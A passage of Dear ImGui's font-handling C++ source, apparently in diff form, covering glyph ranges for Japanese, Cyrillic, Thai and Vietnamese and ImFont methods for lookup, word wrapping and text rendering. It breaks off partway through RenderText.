Information-technology Promotion Agency, Japan - // - https://mojikiban.ipa.go.jp/mji/ - // - Available under the terms of the Creative Commons Attribution-ShareAlike 2.1 Japan (CC BY-SA 2.1 JP). - // - https://creativecommons.org/licenses/by-sa/2.1/jp/deed.en - // - https://creativecommons.org/licenses/by-sa/2.1/jp/legalcode - // - You can generate this code by the script at: - // - https://github.com/vaiorabbit/everyday_use_kanji - // - References: - // - List of Joyo Kanji - // - (Official list by the Agency for Cultural Affairs) https://www.bunka.go.jp/kokugo_nihongo/sisaku/joho/joho/kakuki/14/tosin02/index.html - // - (Wikipedia) https://en.wikipedia.org/wiki/List_of_j%C5%8Dy%C5%8D_kanji - // - List of Jinmeiyo Kanji - // - (Official list by the Ministry of Justice) http://www.moj.go.jp/MINJI/minji86.html - // - (Wikipedia) https://en.wikipedia.org/wiki/Jinmeiy%C5%8D_kanji - // - Missing 1 Joyo Kanji: U+20B9F (Kun'yomi: Shikaru, On'yomi: Shitsu,shichi), see https://github.com/ocornut/imgui/pull/3627 for details. - // You can use ImFontGlyphRangesBuilder to create your own ranges derived from this, by merging existing ranges or adding new characters. - // (Stored as accumulative offsets from the initial unicode codepoint 0x4E00. This encoding is designed to helps us compact the source code size.) - static const short accumulative_offsets_from_0x4E00[] = - { - 0,1,2,4,1,1,1,1,2,1,3,3,2,2,1,5,3,5,7,5,6,1,2,1,7,2,6,3,1,8,1,1,4,1,1,18,2,11,2,6,2,1,2,1,5,1,2,1,3,1,2,1,2,3,3,1,1,2,3,1,1,1,12,7,9,1,4,5,1, - 1,2,1,10,1,1,9,2,2,4,5,6,9,3,1,1,1,1,9,3,18,5,2,2,2,2,1,6,3,7,1,1,1,1,2,2,4,2,1,23,2,10,4,3,5,2,4,10,2,4,13,1,6,1,9,3,1,1,6,6,7,6,3,1,2,11,3, - 2,2,3,2,15,2,2,5,4,3,6,4,1,2,5,2,12,16,6,13,9,13,2,1,1,7,16,4,7,1,19,1,5,1,2,2,7,7,8,2,6,5,4,9,18,7,4,5,9,13,11,8,15,2,1,1,1,2,1,2,2,1,2,2,8, - 2,9,3,3,1,1,4,4,1,1,1,4,9,1,4,3,5,5,2,7,5,3,4,8,2,1,13,2,3,3,1,14,1,1,4,5,1,3,6,1,5,2,1,1,3,3,3,3,1,1,2,7,6,6,7,1,4,7,6,1,1,1,1,1,12,3,3,9,5, - 2,6,1,5,6,1,2,3,18,2,4,14,4,1,3,6,1,1,6,3,5,5,3,2,2,2,2,12,3,1,4,2,3,2,3,11,1,7,4,1,2,1,3,17,1,9,1,24,1,1,4,2,2,4,1,2,7,1,1,1,3,1,2,2,4,15,1, - 1,2,1,1,2,1,5,2,5,20,2,5,9,1,10,8,7,6,1,1,1,1,1,1,6,2,1,2,8,1,1,1,1,5,1,1,3,1,1,1,1,3,1,1,12,4,1,3,1,1,1,1,1,10,3,1,7,5,13,1,2,3,4,6,1,1,30, - 2,9,9,1,15,38,11,3,1,8,24,7,1,9,8,10,2,1,9,31,2,13,6,2,9,4,49,5,2,15,2,1,10,2,1,1,1,2,2,6,15,30,35,3,14,18,8,1,16,10,28,12,19,45,38,1,3,2,3, - 13,2,1,7,3,6,5,3,4,3,1,5,7,8,1,5,3,18,5,3,6,1,21,4,24,9,24,40,3,14,3,21,3,2,1,2,4,2,3,1,15,15,6,5,1,1,3,1,5,6,1,9,7,3,3,2,1,4,3,8,21,5,16,4, - 5,2,10,11,11,3,6,3,2,9,3,6,13,1,2,1,1,1,1,11,12,6,6,1,4,2,6,5,2,1,1,3,3,6,13,3,1,1,5,1,2,3,3,14,2,1,2,2,2,5,1,9,5,1,1,6,12,3,12,3,4,13,2,14, - 2,8,1,17,5,1,16,4,2,2,21,8,9,6,23,20,12,25,19,9,38,8,3,21,40,25,33,13,4,3,1,4,1,2,4,1,2,5,26,2,1,1,2,1,3,6,2,1,1,1,1,1,1,2,3,1,1,1,9,2,3,1,1, - 1,3,6,3,2,1,1,6,6,1,8,2,2,2,1,4,1,2,3,2,7,3,2,4,1,2,1,2,2,1,1,1,1,1,3,1,2,5,4,10,9,4,9,1,1,1,1,1,1,5,3,2,1,6,4,9,6,1,10,2,31,17,8,3,7,5,40,1, - 7,7,1,6,5,2,10,7,8,4,15,39,25,6,28,47,18,10,7,1,3,1,1,2,1,1,1,3,3,3,1,1,1,3,4,2,1,4,1,3,6,10,7,8,6,2,2,1,3,3,2,5,8,7,9,12,2,15,1,1,4,1,2,1,1, - 1,3,2,1,3,3,5,6,2,3,2,10,1,4,2,8,1,1,1,11,6,1,21,4,16,3,1,3,1,4,2,3,6,5,1,3,1,1,3,3,4,6,1,1,10,4,2,7,10,4,7,4,2,9,4,3,1,1,1,4,1,8,3,4,1,3,1, - 6,1,4,2,1,4,7,2,1,8,1,4,5,1,1,2,2,4,6,2,7,1,10,1,1,3,4,11,10,8,21,4,6,1,3,5,2,1,2,28,5,5,2,3,13,1,2,3,1,4,2,1,5,20,3,8,11,1,3,3,3,1,8,10,9,2, - 10,9,2,3,1,1,2,4,1,8,3,6,1,7,8,6,11,1,4,29,8,4,3,1,2,7,13,1,4,1,6,2,6,12,12,2,20,3,2,3,6,4,8,9,2,7,34,5,1,18,6,1,1,4,4,5,7,9,1,2,2,4,3,4,1,7, - 2,2,2,6,2,3,25,5,3,6,1,4,6,7,4,2,1,4,2,13,6,4,4,3,1,5,3,4,4,3,2,1,1,4,1,2,1,1,3,1,11,1,6,3,1,7,3,6,2,8,8,6,9,3,4,11,3,2,10,12,2,5,11,1,6,4,5, - 3,1,8,5,4,6,6,3,5,1,1,3,2,1,2,2,6,17,12,1,10,1,6,12,1,6,6,19,9,6,16,1,13,4,4,15,7,17,6,11,9,15,12,6,7,2,1,2,2,15,9,3,21,4,6,49,18,7,3,2,3,1, - 6,8,2,2,6,2,9,1,3,6,4,4,1,2,16,2,5,2,1,6,2,3,5,3,1,2,5,1,2,1,9,3,1,8,6,4,8,11,3,1,1,1,1,3,1,13,8,4,1,3,2,2,1,4,1,11,1,5,2,1,5,2,5,8,6,1,1,7, - 4,3,8,3,2,7,2,1,5,1,5,2,4,7,6,2,8,5,1,11,4,5,3,6,18,1,2,13,3,3,1,21,1,1,4,1,4,1,1,1,8,1,2,2,7,1,2,4,2,2,9,2,1,1,1,4,3,6,3,12,5,1,1,1,5,6,3,2, - 4,8,2,2,4,2,7,1,8,9,5,2,3,2,1,3,2,13,7,14,6,5,1,1,2,1,4,2,23,2,1,1,6,3,1,4,1,15,3,1,7,3,9,14,1,3,1,4,1,1,5,8,1,3,8,3,8,15,11,4,14,4,4,2,5,5, - 1,7,1,6,14,7,7,8,5,15,4,8,6,5,6,2,1,13,1,20,15,11,9,2,5,6,2,11,2,6,2,5,1,5,8,4,13,19,25,4,1,1,11,1,34,2,5,9,14,6,2,2,6,1,1,14,1,3,14,13,1,6, - 12,21,14,14,6,32,17,8,32,9,28,1,2,4,11,8,3,1,14,2,5,15,1,1,1,1,3,6,4,1,3,4,11,3,1,1,11,30,1,5,1,4,1,5,8,1,1,3,2,4,3,17,35,2,6,12,17,3,1,6,2, - 1,1,12,2,7,3,3,2,1,16,2,8,3,6,5,4,7,3,3,8,1,9,8,5,1,2,1,3,2,8,1,2,9,12,1,1,2,3,8,3,24,12,4,3,7,5,8,3,3,3,3,3,3,1,23,10,3,1,2,2,6,3,1,16,1,16, - 22,3,10,4,11,6,9,7,7,3,6,2,2,2,4,10,2,1,1,2,8,7,1,6,4,1,3,3,3,5,10,12,12,2,3,12,8,15,1,1,16,6,6,1,5,9,11,4,11,4,2,6,12,1,17,5,13,1,4,9,5,1,11, - 2,1,8,1,5,7,28,8,3,5,10,2,17,3,38,22,1,2,18,12,10,4,38,18,1,4,44,19,4,1,8,4,1,12,1,4,31,12,1,14,7,75,7,5,10,6,6,13,3,2,11,11,3,2,5,28,15,6,18, - 18,5,6,4,3,16,1,7,18,7,36,3,5,3,1,7,1,9,1,10,7,2,4,2,6,2,9,7,4,3,32,12,3,7,10,2,23,16,3,1,12,3,31,4,11,1,3,8,9,5,1,30,15,6,12,3,2,2,11,19,9, - 14,2,6,2,3,19,13,17,5,3,3,25,3,14,1,1,1,36,1,3,2,19,3,13,36,9,13,31,6,4,16,34,2,5,4,2,3,3,5,1,1,1,4,3,1,17,3,2,3,5,3,1,3,2,3,5,6,3,12,11,1,3, - 1,2,26,7,12,7,2,14,3,3,7,7,11,25,25,28,16,4,36,1,2,1,6,2,1,9,3,27,17,4,3,4,13,4,1,3,2,2,1,10,4,2,4,6,3,8,2,1,18,1,1,24,2,2,4,33,2,3,63,7,1,6, - 40,7,3,4,4,2,4,15,18,1,16,1,1,11,2,41,14,1,3,18,13,3,2,4,16,2,17,7,15,24,7,18,13,44,2,2,3,6,1,1,7,5,1,7,1,4,3,3,5,10,8,2,3,1,8,1,1,27,4,2,1, - 12,1,2,1,10,6,1,6,7,5,2,3,7,11,5,11,3,6,6,2,3,15,4,9,1,1,2,1,2,11,2,8,12,8,5,4,2,3,1,5,2,2,1,14,1,12,11,4,1,11,17,17,4,3,2,5,5,7,3,1,5,9,9,8, - 2,5,6,6,13,13,2,1,2,6,1,2,2,49,4,9,1,2,10,16,7,8,4,3,2,23,4,58,3,29,1,14,19,19,11,11,2,7,5,1,3,4,6,2,18,5,12,12,17,17,3,3,2,4,1,6,2,3,4,3,1, - 1,1,1,5,1,1,9,1,3,1,3,6,1,8,1,1,2,6,4,14,3,1,4,11,4,1,3,32,1,2,4,13,4,1,2,4,2,1,3,1,11,1,4,2,1,4,4,6,3,5,1,6,5,7,6,3,23,3,5,3,5,3,3,13,3,9,10, - 1,12,10,2,3,18,13,7,160,52,4,2,2,3,2,14,5,4,12,4,6,4,1,20,4,11,6,2,12,27,1,4,1,2,2,7,4,5,2,28,3,7,25,8,3,19,3,6,10,2,2,1,10,2,5,4,1,3,4,1,5, - 3,2,6,9,3,6,2,16,3,3,16,4,5,5,3,2,1,2,16,15,8,2,6,21,2,4,1,22,5,8,1,1,21,11,2,1,11,11,19,13,12,4,2,3,2,3,6,1,8,11,1,4,2,9,5,2,1,11,2,9,1,1,2, - 14,31,9,3,4,21,14,4,8,1,7,2,2,2,5,1,4,20,3,3,4,10,1,11,9,8,2,1,4,5,14,12,14,2,17,9,6,31,4,14,1,20,13,26,5,2,7,3,6,13,2,4,2,19,6,2,2,18,9,3,5, - 12,12,14,4,6,2,3,6,9,5,22,4,5,25,6,4,8,5,2,6,27,2,35,2,16,3,7,8,8,6,6,5,9,17,2,20,6,19,2,13,3,1,1,1,4,17,12,2,14,7,1,4,18,12,38,33,2,10,1,1, - 2,13,14,17,11,50,6,33,20,26,74,16,23,45,50,13,38,33,6,6,7,4,4,2,1,3,2,5,8,7,8,9,3,11,21,9,13,1,3,10,6,7,1,2,2,18,5,5,1,9,9,2,68,9,19,13,2,5, - 1,4,4,7,4,13,3,9,10,21,17,3,26,2,1,5,2,4,5,4,1,7,4,7,3,4,2,1,6,1,1,20,4,1,9,2,2,1,3,3,2,3,2,1,1,1,20,2,3,1,6,2,3,6,2,4,8,1,3,2,10,3,5,3,4,4, - 3,4,16,1,6,1,10,2,4,2,1,1,2,10,11,2,2,3,1,24,31,4,10,10,2,5,12,16,164,15,4,16,7,9,15,19,17,1,2,1,1,5,1,1,1,1,1,3,1,4,3,1,3,1,3,1,2,1,1,3,3,7, - 2,8,1,2,2,2,1,3,4,3,7,8,12,92,2,10,3,1,3,14,5,25,16,42,4,7,7,4,2,21,5,27,26,27,21,25,30,31,2,1,5,13,3,22,5,6,6,11,9,12,1,5,9,7,5,5,22,60,3,5, - 13,1,1,8,1,1,3,3,2,1,9,3,3,18,4,1,2,3,7,6,3,1,2,3,9,1,3,1,3,2,1,3,1,1,1,2,1,11,3,1,6,9,1,3,2,3,1,2,1,5,1,1,4,3,4,1,2,2,4,4,1,7,2,1,2,2,3,5,13, - 18,3,4,14,9,9,4,16,3,7,5,8,2,6,48,28,3,1,1,4,2,14,8,2,9,2,1,15,2,4,3,2,10,16,12,8,7,1,1,3,1,1,1,2,7,4,1,6,4,38,39,16,23,7,15,15,3,2,12,7,21, - 37,27,6,5,4,8,2,10,8,8,6,5,1,2,1,3,24,1,16,17,9,23,10,17,6,1,51,55,44,13,294,9,3,6,2,4,2,2,15,1,1,1,13,21,17,68,14,8,9,4,1,4,9,3,11,7,1,1,1, - 5,6,3,2,1,1,1,2,3,8,1,2,2,4,1,5,5,2,1,4,3,7,13,4,1,4,1,3,1,1,1,5,5,10,1,6,1,5,2,1,5,2,4,1,4,5,7,3,18,2,9,11,32,4,3,3,2,4,7,11,16,9,11,8,13,38, - 32,8,4,2,1,1,2,1,2,4,4,1,1,1,4,1,21,3,11,1,16,1,1,6,1,3,2,4,9,8,57,7,44,1,3,3,13,3,10,1,1,7,5,2,7,21,47,63,3,15,4,7,1,16,1,1,2,8,2,3,42,15,4, - 1,29,7,22,10,3,78,16,12,20,18,4,67,11,5,1,3,15,6,21,31,32,27,18,13,71,35,5,142,4,10,1,2,50,19,33,16,35,37,16,19,27,7,1,133,19,1,4,8,7,20,1,4, - 4,1,10,3,1,6,1,2,51,5,40,15,24,43,22928,11,1,13,154,70,3,1,1,7,4,10,1,2,1,1,2,1,2,1,2,2,1,1,2,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1, - 3,2,1,1,1,1,2,1,1, - }; - static ImWchar base_ranges[] = // not zero-terminated - { - 0x0020, 0x00FF, // Basic Latin + Latin Supplement - 0x3000, 0x30FF, // CJK Symbols and Punctuations, Hiragana, Katakana - 0x31F0, 0x31FF, // Katakana Phonetic Extensions - 0xFF00, 0xFFEF // Half-width characters - }; - static ImWchar full_ranges[IM_ARRAYSIZE(base_ranges) + IM_ARRAYSIZE(accumulative_offsets_from_0x4E00)*2 + 1] = { 0 }; - if (!full_ranges[0]) - { - memcpy(full_ranges, base_ranges, sizeof(base_ranges)); - UnpackAccumulativeOffsetsIntoRanges(0x4E00, accumulative_offsets_from_0x4E00, IM_ARRAYSIZE(accumulative_offsets_from_0x4E00), full_ranges + IM_ARRAYSIZE(base_ranges)); - } - return &full_ranges[0]; -} - -const ImWchar* ImFontAtlas::GetGlyphRangesCyrillic() -{ - static const ImWchar ranges[] = - { - 0x0020, 0x00FF, // Basic Latin + Latin Supplement - 0x0400, 0x052F, // Cyrillic + Cyrillic Supplement - 0x2DE0, 0x2DFF, // Cyrillic Extended-A - 0xA640, 0xA69F, // Cyrillic Extended-B - 0, - }; - return &ranges[0]; -} - -const ImWchar* ImFontAtlas::GetGlyphRangesThai() -{ - static const ImWchar ranges[] = - { - 0x0020, 0x00FF, // Basic Latin - 0x2010, 0x205E, // Punctuations - 0x0E00, 0x0E7F, // Thai - 0, - }; - return &ranges[0]; -} - -const ImWchar* ImFontAtlas::GetGlyphRangesVietnamese() -{ - static const ImWchar ranges[] = - { - 0x0020, 0x00FF, // Basic Latin - 0x0102, 0x0103, - 0x0110, 0x0111, - 0x0128, 0x0129, - 0x0168, 0x0169, - 0x01A0, 0x01A1, - 0x01AF, 0x01B0, - 0x1EA0, 0x1EF9, - 0, - }; - return &ranges[0]; -} - -//----------------------------------------------------------------------------- -// [SECTION] ImFontGlyphRangesBuilder -//----------------------------------------------------------------------------- - -void ImFontGlyphRangesBuilder::AddText(const char* text, const char* text_end) -{ - while (text_end ? (text < text_end) : *text) - { - unsigned int c = 0; - int c_len = ImTextCharFromUtf8(&c, text, text_end); - text += c_len; - if (c_len == 0) - break; - AddChar((ImWchar)c); - } -} - -void ImFontGlyphRangesBuilder::AddRanges(const ImWchar* ranges) -{ - for (; ranges[0]; ranges += 2) - for (ImWchar c = ranges[0]; c <= ranges[1]; c++) - AddChar(c); -} - -void ImFontGlyphRangesBuilder::BuildRanges(ImVector* out_ranges) -{ - const int max_codepoint = IM_UNICODE_CODEPOINT_MAX; - for (int n = 0; n <= max_codepoint; n++) - if (GetBit(n)) - { - out_ranges->push_back((ImWchar)n); - while (n < max_codepoint && GetBit(n + 1)) - n++; - out_ranges->push_back((ImWchar)n); - } - out_ranges->push_back(0); -} - -//----------------------------------------------------------------------------- -// [SECTION] ImFont -//----------------------------------------------------------------------------- - -ImFont::ImFont() -{ - FontSize = 0.0f; - FallbackAdvanceX = 0.0f; - FallbackChar = (ImWchar)'?'; - EllipsisChar = (ImWchar)-1; - FallbackGlyph = NULL; - ContainerAtlas = NULL; - ConfigData = NULL; - ConfigDataCount = 0; - DirtyLookupTables = false; - Scale = 1.0f; - Ascent = Descent = 0.0f; - MetricsTotalSurface = 0; - memset(Used4kPagesMap, 0, sizeof(Used4kPagesMap)); -} - -ImFont::~ImFont() -{ - ClearOutputData(); -} - -void ImFont::ClearOutputData() -{ - FontSize = 0.0f; - FallbackAdvanceX = 0.0f; - Glyphs.clear(); - IndexAdvanceX.clear(); - IndexLookup.clear(); - FallbackGlyph = NULL; - ContainerAtlas = NULL; - DirtyLookupTables = true; - Ascent = Descent = 0.0f; - MetricsTotalSurface = 0; -} - -void ImFont::BuildLookupTable() -{ - int max_codepoint = 0; - for (int i = 0; i != Glyphs.Size; i++) - max_codepoint = ImMax(max_codepoint, (int)Glyphs[i].Codepoint); - - // Build lookup table - IM_ASSERT(Glyphs.Size < 0xFFFF); // -1 is reserved - IndexAdvanceX.clear(); - IndexLookup.clear(); - DirtyLookupTables = false; - memset(Used4kPagesMap, 0, sizeof(Used4kPagesMap)); - GrowIndex(max_codepoint + 1); - for (int i = 0; i < Glyphs.Size; i++) - { - int codepoint = (int)Glyphs[i].Codepoint; - IndexAdvanceX[codepoint] = Glyphs[i].AdvanceX; - IndexLookup[codepoint] = (ImWchar)i; - - // Mark 4K page as used - const int page_n = codepoint / 4096; - Used4kPagesMap[page_n >> 3] |= 1 << (page_n & 7); - } - - // Create a glyph to handle TAB - // FIXME: Needs proper TAB handling but it needs to be contextualized (or we could arbitrary say that each string starts at "column 0" ?) - if (FindGlyph((ImWchar)' ')) - { - if (Glyphs.back().Codepoint != '\t') // So we can call this function multiple times (FIXME: Flaky) - Glyphs.resize(Glyphs.Size + 1); - ImFontGlyph& tab_glyph = Glyphs.back(); - tab_glyph = *FindGlyph((ImWchar)' '); - tab_glyph.Codepoint = '\t'; - tab_glyph.AdvanceX *= IM_TABSIZE; - IndexAdvanceX[(int)tab_glyph.Codepoint] = (float)tab_glyph.AdvanceX; - IndexLookup[(int)tab_glyph.Codepoint] = (ImWchar)(Glyphs.Size - 1); - } - - // Mark special glyphs as not visible (note that AddGlyph already mark as non-visible glyphs with zero-size polygons) - SetGlyphVisible((ImWchar)' ', false); - SetGlyphVisible((ImWchar)'\t', false); - - // Setup fall-backs - FallbackGlyph = FindGlyphNoFallback(FallbackChar); - FallbackAdvanceX = FallbackGlyph ? FallbackGlyph->AdvanceX : 0.0f; - for (int i = 0; i < max_codepoint + 1; i++) - if (IndexAdvanceX[i] < 0.0f) - IndexAdvanceX[i] = FallbackAdvanceX; -} - -// API is designed this way to avoid exposing the 4K page size -// e.g. use with IsGlyphRangeUnused(0, 255) -bool ImFont::IsGlyphRangeUnused(unsigned int c_begin, unsigned int c_last) -{ - unsigned int page_begin = (c_begin / 4096); - unsigned int page_last = (c_last / 4096); - for (unsigned int page_n = page_begin; page_n <= page_last; page_n++) - if ((page_n >> 3) < sizeof(Used4kPagesMap)) - if (Used4kPagesMap[page_n >> 3] & (1 << (page_n & 7))) - return false; - return true; -} - -void ImFont::SetGlyphVisible(ImWchar c, bool visible) -{ - if (ImFontGlyph* glyph = (ImFontGlyph*)(void*)FindGlyph((ImWchar)c)) - glyph->Visible = visible ? 1 : 0; -} - -void ImFont::SetFallbackChar(ImWchar c) -{ - FallbackChar = c; - BuildLookupTable(); -} - -void ImFont::GrowIndex(int new_size) -{ - IM_ASSERT(IndexAdvanceX.Size == IndexLookup.Size); - if (new_size <= IndexLookup.Size) - return; - IndexAdvanceX.resize(new_size, -1.0f); - IndexLookup.resize(new_size, (ImWchar)-1); -} - -// x0/y0/x1/y1 are offset from the character upper-left layout position, in pixels. Therefore x0/y0 are often fairly close to zero. -// Not to be mistaken with texture coordinates, which are held by u0/v0/u1/v1 in normalized format (0.0..1.0 on each texture axis). -// 'cfg' is not necessarily == 'this->ConfigData' because multiple source fonts+configs can be used to build one target font. -void ImFont::AddGlyph(const ImFontConfig* cfg, ImWchar codepoint, float x0, float y0, float x1, float y1, float u0, float v0, float u1, float v1, float advance_x) -{ - if (cfg != NULL) - { - // Clamp & recenter if needed - const float advance_x_original = advance_x; - advance_x = ImClamp(advance_x, cfg->GlyphMinAdvanceX, cfg->GlyphMaxAdvanceX); - if (advance_x != advance_x_original) - { - float char_off_x = cfg->PixelSnapH ? ImFloor((advance_x - advance_x_original) * 0.5f) : (advance_x - advance_x_original) * 0.5f; - x0 += char_off_x; - x1 += char_off_x; - } - - // Snap to pixel - if (cfg->PixelSnapH) - advance_x = IM_ROUND(advance_x); - - // Bake spacing - advance_x += cfg->GlyphExtraSpacing.x; - } - - Glyphs.resize(Glyphs.Size + 1); - ImFontGlyph& glyph = Glyphs.back(); - glyph.Codepoint = (unsigned int)codepoint; - glyph.Visible = (x0 != x1) && (y0 != y1); - glyph.Colored = false; - glyph.X0 = x0; - glyph.Y0 = y0; - glyph.X1 = x1; - glyph.Y1 = y1; - glyph.U0 = u0; - glyph.V0 = v0; - glyph.U1 = u1; - glyph.V1 = v1; - glyph.AdvanceX = advance_x; - - // Compute rough surface usage metrics (+1 to account for average padding, +0.99 to round) - // We use (U1-U0)*TexWidth instead of X1-X0 to account for oversampling. - float pad = ContainerAtlas->TexGlyphPadding + 0.99f; - DirtyLookupTables = true; - MetricsTotalSurface += (int)((glyph.U1 - glyph.U0) * ContainerAtlas->TexWidth + pad) * (int)((glyph.V1 - glyph.V0) * ContainerAtlas->TexHeight + pad); -} - -void ImFont::AddRemapChar(ImWchar dst, ImWchar src, bool overwrite_dst) -{ - IM_ASSERT(IndexLookup.Size > 0); // Currently this can only be called AFTER the font has been built, aka after calling ImFontAtlas::GetTexDataAs*() function. - unsigned int index_size = (unsigned int)IndexLookup.Size; - - if (dst < index_size && IndexLookup.Data[dst] == (ImWchar)-1 && !overwrite_dst) // 'dst' already exists - return; - if (src >= index_size && dst >= index_size) // both 'dst' and 'src' don't exist -> no-op - return; - - GrowIndex(dst + 1); - IndexLookup[dst] = (src < index_size) ? IndexLookup.Data[src] : (ImWchar)-1; - IndexAdvanceX[dst] = (src < index_size) ? IndexAdvanceX.Data[src] : 1.0f; -} - -const ImFontGlyph* ImFont::FindGlyph(ImWchar c) const -{ - if (c >= (size_t)IndexLookup.Size) - return FallbackGlyph; - const ImWchar i = IndexLookup.Data[c]; - if (i == (ImWchar)-1) - return FallbackGlyph; - return &Glyphs.Data[i]; -} - -const ImFontGlyph* ImFont::FindGlyphNoFallback(ImWchar c) const -{ - if (c >= (size_t)IndexLookup.Size) - return NULL; - const ImWchar i = IndexLookup.Data[c]; - if (i == (ImWchar)-1) - return NULL; - return &Glyphs.Data[i]; -} - -const char* ImFont::CalcWordWrapPositionA(float scale, const char* text, const char* text_end, float wrap_width) const -{ - // Simple word-wrapping for English, not full-featured. Please submit failing cases! - // FIXME: Much possible improvements (don't cut things like "word !", "word!!!" but cut within "word,,,,", more sensible support for punctuations, support for Unicode punctuations, etc.) - - // For references, possible wrap point marked with ^ - // "aaa bbb, ccc,ddd. eee fff. ggg!" - // ^ ^ ^ ^ ^__ ^ ^ - - // List of hardcoded separators: .,;!?'" - - // Skip extra blanks after a line returns (that includes not counting them in width computation) - // e.g. "Hello world" --> "Hello" "World" - - // Cut words that cannot possibly fit within one line. - // e.g.: "The tropical fish" with ~5 characters worth of width --> "The tr" "opical" "fish" - - float line_width = 0.0f; - float word_width = 0.0f; - float blank_width = 0.0f; - wrap_width /= scale; // We work with unscaled widths to avoid scaling every characters - - const char* word_end = text; - const char* prev_word_end = NULL; - bool inside_word = true; - - const char* s = text; - while (s < text_end) - { - unsigned int c = (unsigned int)*s; - const char* next_s; - if (c < 0x80) - next_s = s + 1; - else - next_s = s + ImTextCharFromUtf8(&c, s, text_end); - if (c == 0) - break; - - if (c < 32) - { - if (c == '\n') - { - line_width = word_width = blank_width = 0.0f; - inside_word = true; - s = next_s; - continue; - } - if (c == '\r') - { - s = next_s; - continue; - } - } - - const float char_width = ((int)c < IndexAdvanceX.Size ? IndexAdvanceX.Data[c] : FallbackAdvanceX); - if (ImCharIsBlankW(c)) - { - if (inside_word) - { - line_width += blank_width; - blank_width = 0.0f; - word_end = s; - } - blank_width += char_width; - inside_word = false; - } - else - { - word_width += char_width; - if (inside_word) - { - word_end = next_s; - } - else - { - prev_word_end = word_end; - line_width += word_width + blank_width; - word_width = blank_width = 0.0f; - } - - // Allow wrapping after punctuation. - inside_word = (c != '.' && c != ',' && c != ';' && c != '!' && c != '?' && c != '\"'); - } - - // We ignore blank width at the end of the line (they can be skipped) - if (line_width + word_width > wrap_width) - { - // Words that cannot possibly fit within an entire line will be cut anywhere. - if (word_width < wrap_width) - s = prev_word_end ? prev_word_end : word_end; - break; - } - - s = next_s; - } - - return s; -} - -ImVec2 ImFont::CalcTextSizeA(float size, float max_width, float wrap_width, const char* text_begin, const char* text_end, const char** remaining) const -{ - if (!text_end) - text_end = text_begin + strlen(text_begin); // FIXME-OPT: Need to avoid this. - - const float line_height = size; - const float scale = size / FontSize; - - ImVec2 text_size = ImVec2(0, 0); - float line_width = 0.0f; - - const bool word_wrap_enabled = (wrap_width > 0.0f); - const char* word_wrap_eol = NULL; - - const char* s = text_begin; - while (s < text_end) - { - if (word_wrap_enabled) - { - // Calculate how far we can render. Requires two passes on the string data but keeps the code simple and not intrusive for what's essentially an uncommon feature. - if (!word_wrap_eol) - { - word_wrap_eol = CalcWordWrapPositionA(scale, s, text_end, wrap_width - line_width); - if (word_wrap_eol == s) // Wrap_width is too small to fit anything. Force displaying 1 character to minimize the height discontinuity. - word_wrap_eol++; // +1 may not be a character start point in UTF-8 but it's ok because we use s >= word_wrap_eol below - } - - if (s >= word_wrap_eol) - { - if (text_size.x < line_width) - text_size.x = line_width; - text_size.y += line_height; - line_width = 0.0f; - word_wrap_eol = NULL; - - // Wrapping skips upcoming blanks - while (s < text_end) - { - const char c = *s; - if (ImCharIsBlankA(c)) { s++; } else if (c == '\n') { s++; break; } else { break; } - } - continue; - } - } - - // Decode and advance source - const char* prev_s = s; - unsigned int c = (unsigned int)*s; - if (c < 0x80) - { - s += 1; - } - else - { - s += ImTextCharFromUtf8(&c, s, text_end); - if (c == 0) // Malformed UTF-8? - break; - } - - if (c < 32) - { - if (c == '\n') - { - text_size.x = ImMax(text_size.x, line_width); - text_size.y += line_height; - line_width = 0.0f; - continue; - } - if (c == '\r') - continue; - } - - const float char_width = ((int)c < IndexAdvanceX.Size ? IndexAdvanceX.Data[c] : FallbackAdvanceX) * scale; - if (line_width + char_width >= max_width) - { - s = prev_s; - break; - } - - line_width += char_width; - } - - if (text_size.x < line_width) - text_size.x = line_width; - - if (line_width > 0 || text_size.y == 0.0f) - text_size.y += line_height; - - if (remaining) - *remaining = s; - - return text_size; -} - -void ImFont::RenderChar(ImDrawList* draw_list, float size, ImVec2 pos, ImU32 col, ImWchar c) const -{ - const ImFontGlyph* glyph = FindGlyph(c); - if (!glyph || !glyph->Visible) - return; - if (glyph->Colored) - col |= ~IM_COL32_A_MASK; - float scale = (size >= 0.0f) ? (size / FontSize) : 1.0f; - pos.x = IM_FLOOR(pos.x); - pos.y = IM_FLOOR(pos.y); - draw_list->PrimReserve(6, 4); - draw_list->PrimRectUV(ImVec2(pos.x + glyph->X0 * scale, pos.y + glyph->Y0 * scale), ImVec2(pos.x + glyph->X1 * scale, pos.y + glyph->Y1 * scale), ImVec2(glyph->U0, glyph->V0), ImVec2(glyph->U1, glyph->V1), col); -} - -void ImFont::RenderText(ImDrawList* draw_list, float size, ImVec2 pos, ImU32 col, const ImVec4& clip_rect, const char* text_begin, const char* text_end, float wrap_width, bool cpu_fine_clip) const -{ - if (!text_end) - text_end = text_begin + strlen(text_begin); // ImGui:: functions generally already provides a valid text_end, so this is merely to handle direct calls. - - // Align to be pixel perfect - pos.x = IM_FLOOR(pos.x); - pos.y = IM_FLOOR(pos.y); - float x = pos.x; - float y = pos.y; - if (y > clip_rect.w) - return; - - const float scale = size / FontSize; - const float line_height = FontSize * scale; - const bool word_wrap_enabled = (wrap_width > 0.0f); - const char* word_wrap_eol = NULL; - - // Fast-forward to first visible line - const char* s = text_begin; - if (y + line_height < clip_rect.y && !word_wrap_enabled) - while (y + line_height < clip_rect.y && s < text_end) - { - s = (const char*)memchr(s, '\n', text_end - s); - s = s ? s + 1 : text_end; - y += line_height; - } - - // For large text, scan for the last visible line in order to avoid over-reserving in the call to PrimReserve() - // Note that very large horizontal line will still be affected by the issue (e.g. a one megabyte string buffer without a newline will likely crash atm) - if (text_end - s > 10000 && !word_wrap_enabled) - { - const char* s_end = s; - float y_end = y; - while (y_end < clip_rect.w && s_end < text_end) - { - s_end = (const char*)memchr(s_end, '\n', text_end - s_end); - s_end = s_end ? s_end + 1 : text_end; - y_end += line_height; - } - text_end = s_end; - } - if (s == text_end) - return; - - // Reserve vertices for remaining worse case (over-reserving is useful and easily amortized) - const int vtx_count_max = (int)(text_end - s) * 4; - const int idx_count_max = (int)(text_end - s) * 6; - const int idx_expected_size = draw_list->IdxBuffer.Size + idx_count_max; - draw_list->PrimReserve(idx_count_max, vtx_count_max); - - ImDrawVert* vtx_write = draw_list->_VtxWritePtr; - ImDrawIdx* idx_write = draw_list->_IdxWritePtr; - unsigned int vtx_current_idx = draw_list->_VtxCurrentIdx; - - const ImU32 col_untinted = col | ~IM_COL32_A_MASK; - - while (s < text_end) - { - if 